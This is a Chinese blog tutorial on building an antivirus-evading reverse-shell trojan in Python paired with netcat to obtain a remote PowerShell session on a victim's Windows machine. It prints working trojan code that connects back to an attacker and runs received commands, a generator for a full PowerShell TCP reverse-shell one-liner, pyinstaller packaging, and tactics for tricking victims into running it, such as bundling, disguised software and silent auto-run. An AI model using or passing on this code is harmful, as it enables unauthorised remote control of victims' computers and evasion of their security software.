Python与NC联动,实现99%免杀,弹回powershell

Python与NC联动,基本实现全免杀,弹回powershell

作者:liusuxy


这里仅用反弹powershell演示,大家可以发挥脑洞

自创反弹shell免杀五部曲:

  • 1:确定想法

  • 2:实现框架

  • 3:增加保护

  • 4:启动木马

  • 5:维持会话或提权

一,确定想法

  • 用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

  • 最后执行在会话中执行恶意命令来获取一个稳定的powershell

  • 记:控制端两次使用的端口不能相同


二,实现框架

这里我们需要两个文件

  • 受害者运行的恶意程序

  • 在第一个会话中执行代码的生成器

受害者运行的恶意程序编写

1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

木马的代码:

(注:可以用pyinstaller转换为exe)

import os
import time
import socket
'''################'''
server_ip = ''       # 更改为控制端的IP
server_port = 13524  # 更改为控制端的第一PORT
'''################'''

mod = '''powershell -nop -c "{0}"'''
s = socket.socket()

while True:
    try:
        s.connect((server_ip, server_port))
        break
    except:
        time.sleep(3)
while True:
    s.send(b'[Powershell:->')
    cmd = s.recv(1024).decode()
    s.send(os.popen(mod.format(cmd)).read().encode())

s.close()

现在我们还需一个在第一个会话中执行代码的生成器

推荐参考Reverse Shell Generator 反弹shell生成

这里放出代码及使用方法

import sys
server_ip = sys.argv[1]
server_port_second = sys.argv[2]
print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second)
print('复制代码在nc中运行:')
print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

弹回的执行代码 复制

  • e.g. python3 creative.py 127.0.0.1 12212

三:增加保护

作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

这里不细讲,可以看看crow在B站的视频

四:启动木马

想办法让受害者运行木马,这里举几个思路

  • 1. 捆绑软件
  • 2. 伪装软件
  • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
  • 4. 渗透内网
  • 5. 调用漏洞

当受害者运行木马后

我们自然得到第一个会话

e.g. [Powershell:->

接着在里面输入复制好的代码并回车


重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

五:维持会话或提权

此时执行 nc -lvvp 第二个端口
就能获得稳定的powershell

相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):

posted @ 2022-01-18 00:21  liusuxy  阅读(417)  评论(0)    收藏  举报